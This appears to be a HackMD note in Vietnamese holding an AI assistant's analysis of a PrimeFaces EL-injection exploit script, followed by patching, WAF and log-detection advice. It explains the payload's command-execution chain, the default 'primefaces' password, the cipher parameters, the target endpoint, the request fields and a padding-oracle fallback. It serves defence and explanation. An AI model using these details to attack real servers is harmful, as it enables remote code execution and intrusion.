nhắm vào PrimeFaces. Mình sẽ giải thích rõ từng phần, mục tiêu, cách hoạt động ở mức phân tích (không hướng dẫn thực thi tấn công), rồi nêu cách **phòng chống / phát hiện** cho mục đích bảo vệ. --- ## 1) Mục đích tổng quát Script cố gắng thực thi **Expression Language (EL) động** trên server PrimeFaces (để chạy lệnh hệ điều hành) bằng cách gửi một payload được **mã hoá** cho endpoint resource `dynamiccontent.properties.xhtml`. Nó hỗ trợ hai chế độ: * gửi payload đã mã hoá sẵn (dùng mật khẩu mặc định `primefaces`) — `exploit()`, hoặc * nếu mật khẩu không phải mặc định, dùng **padding oracle attack** (PadBuster) để tìm cách tạo payload hợp lệ — `exploit_paddingoracle()` (chậm hơn). Kết quả mong muốn: server giải mã EL, chạy EL để lấy `ScriptEngineManager`, rồi thực thi lệnh OS (tham số `cmd`) và trả output về HTTP response. --- ## 2) Các phần chính của code — phân tích chi tiết ### `payloadEL` và `payloadELPOC` * `payloadEL`: một EL chain dài — tạo `ScriptEngineManager`, lấy engine JavaScript, đặt writer sang response writer, rồi `eval()` một script JavaScript dùng `request.getParameter("cmd")` để chạy lệnh hệ điều hành (qua `cmd.exe` trên Windows hoặc `/bin/sh -c` trên Linux) và in output. Nói ngắn: **payload muốn thực thi lệnh OS được truyền qua tham số `cmd`**. * `payloadELPOC`: payload POC đơn giản — nó chỉ cố gắng **thiết lập response header** `"TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC":"POC_EL_INJECTION"` để nhận biết lỗ hổng mà không thực thi lệnh. > Đây chính là chuỗi EL được mã hóa và gửi tới server để PrimeFaces giải mã & thực thi. ### Hàm `encrypt(data, password)` * Mô phỏng thuật toán Java **PBEWithMD5AndDES** mà PrimeFaces dùng để mã hoá giá trị. * Thực hiện padding PKCS#5, tính MD5 theo thuật toán giống Java (iterations = 19, IV cố định), rồi dùng DES-CBC để mã hoá. * Trả về Base64 của dữ liệu mã hoá — đó là `pfdrid` mà script gửi. > Tức là script có thể tự tạo payload hợp lệ nếu password còn mặc định (ví dụ `primefaces`), vì thuật toán và IV mặc định được biết. ### Class `PadBuster(PaddingOracle)` * Kế thừa từ thư viện `paddingoracle` (external) để thực hiện **padding oracle attack** khi password không mặc định. * `oracle()` gửi request POST tới target với tham số `pfdrid` = base64(payload). * Dựa trên đáp trả HTTP (ví dụ server trả lỗi 500 khi padding sai), `PadBuster` xác định từng byte của block mã hoá — từ đó xây payload hợp lệ từng block một. * Sau khi khôi phục ciphertext hợp lệ, attacker có thể đính kèm EL và trigger execution. > Padding oracle attack là kỹ thuật tinh vi để phá mã CBC nếu server rò rỉ thông tin về lỗi padding (ví dụ khác biệt response khi padding sai). ### `exploit()` và `exploit_paddingoracle()` * `exploit()` dùng `encrypt()` với password (mặc định `primefaces`) để tạo `pfdrid` rồi POST tới `target + path` (mặc định `/javax.faces.resource/dynamiccontent.properties.xhtml`) với form fields `pfdrt=sc`, `ln=primefaces`, `pfdrid=<payload>`, `cmd=<command>`. * Nếu POC được dùng, server có thể trả header TESTING... → xác nhận lỗ hổng. * `exploit_paddingoracle()` dùng PadBuster để tạo payload bằng oracle attack rồi POST payload thu được. ### CLI / argument parsing Script có các tùy chọn: target, password, path, cmd, proxy, cookie, bật POC hay exploit thực thi, hoặc bật oracle attack (chậm). --- ## 3) Tóm tắt hành vi (một câu) Script **gửi một ciphertext (pfdrid)** để PrimeFaces giải mã thành EL; nếu EL chạy (server dễ bị cấu hình mặc định), thì attacker có thể thực thi code trên server — đây là **RCE** nguy hiểm. Nếu password không mặc định, script có module thực hiện **padding oracle** để suy ngược ciphertext hợp lệ. --- ## 4) Vì sao đây nguy hiểm * PrimeFaces (phiên bản cũ) dùng PBEWithMD5AndDES với salt/IV/mật khẩu mặc định ⇒ dữ liệu mã hóa có thể bị giải mã/gian lận. * EL injection kết hợp ScriptEngine có thể cho phép chạy lệnh OS → RCE mức độ nghiêm trọng cao. * Padding oracle attack cho phép kẻ tấn công phá vỡ cơ chế mã hoá nếu server trả lỗi khác biệt cho padding sai. --- ## 5) Phòng ngừa & cách vá (cho người bảo mật / admin) Nếu hệ thống có thể gặp nguy cơ, đây là các bước khuyến nghị: 1. **Cập nhật / vá ngay** * Nâng PrimeFaces lên phiên bản không còn lỗ hổng (tham khảo release notes chính thức). Các bản cũ như 5.x / 6.0 đã từng bị ảnh hưởng — cập nhật lên bản đã fix là ưu tiên số 1. 2. **Vô hiệu hoá dynamic content EL execution** * Kiểm soát/lọc bất kỳ đầu vào nào đi vào cơ chế dynamic content. Hạn chế việc server giải mã và *chạy* EL từ dữ liệu có thể do user điều khiển. 3. **Thay mật khẩu mặc định / cấu hình mật khẩu mạnh** * Nếu PrimeFaces dùng config chứa mật khẩu mặc định (`primefaces`), phải đổi mật khẩu hoặc disable cơ chế nếu không cần. 4. **Không dùng client-side ViewState hoặc disable chức năng giải mã không cần thiết** * Thiết lập `javax.faces.STATE_SAVING_METHOD=server` và các setting liên quan; hạn chế các chức năng cho phép thực thi EL từ request. 5. **WAF / rule mạng** * Tạo luật WAF chặn request tới `/javax.faces.resource/dynamiccontent.properties.xhtml` chứa `pfdrt=sc` / `pfdrid` hoặc chặn các POST lạ tới resource này; cảnh báo khi xuất hiện chuỗi `pfdrid` base64 dài. 6. **Giám sát & phát hiện** * Log và cảnh báo các POST tới endpoint nêu trên, các HTTP 500 bất thường liên tiếp, hay header POC kiểu `TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC`. * Quét logs để tìm các request có tham số `pfdrid` hoặc các POST lạ với `pfdrt=sc`. 7. **Cài patch/kiểm tra thư viện** * Kiểm tra version PrimeFaces, Mojarra/MyFaces, và các patch bảo mật liên quan. 8. **Hardening** * Giới hạn truy cập nội bộ tới tài nguyên quản trị; vừa authentication và IP-restriction cho resource nhạy cảm. --- ## 6) Cách phát hiện an toàn (không tấn công) * **Kiểm tra version**: xác định version PrimeFaces bằng cách kiểm tra dependency trên ứng dụng hoặc file JAR `META-INF/MANIFEST.MF`. * **Tìm dấu hiệu trong mã nguồn**: search trong mã/war/ear xem có `dynamiccontent.properties.xhtml` hay tham chiếu tới `PrimeFacesResourceHandler`... * **Kiểm tra logs**: tìm POST tới đường dẫn `/javax.faces.resource/dynamiccontent.properties.xhtml` hoặc các tham số `pfdrid`, `pfdrt=sc`. * **Dùng scanner an toàn**: chạy tool kiểm thử bảo mật (ZAP/Burp) trong môi trường lab, không trên production trực tiếp — sử dụng chỉ các test non-destructive (ví dụ check response headers, content) thay vì payloads thực thi. --- ## 7) Lưu ý an toàn / chính sách * Mình **không thể** hướng dẫn cách chạy exploit này trên hệ thống không thuộc quyền của Cường. Việc chạy exploit lên hệ thống thật có thể là hành vi xâm phạm. * Nếu Cường muốn kiểm tra hệ thống, chỉ làm **trong môi trường lab** hoặc với explicit permission. Mình có thể giúp soạn checklist kiểm tra và rule WAF, hoặc snippet để sanitize / harden ứng dụng. --- ## 8) Mình có thể giúp gì tiếp theo? Một số điều mình có làm được (an toàn / hợp pháp): * Hướng dẫn **cách kiểm tra version PrimeFaces trên server** (file JAR, response headers, manifest) — non-destructive. * Soạn **quy tắc WAF (ngăn pfdrid/pfdrt)** mẫu cho ModSecurity. * Viết đoạn **code server-side** để sanitize/disable khả năng evaluate EL động, hoặc gợi ý cấu hình `web.xml`/faces-config để giảm rủi ro. * Soạn **kịch bản phát hiện** (log search queries) để tìm dấu vết tấn công. Muốn mình làm phần nào? (ví dụ: "viết rule ModSecurity chặn pfdrid", hoặc "hướng dẫn cách tìm version primefaces trong war file", hoặc "mã Java để sanitize response từ terminal/editor")

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully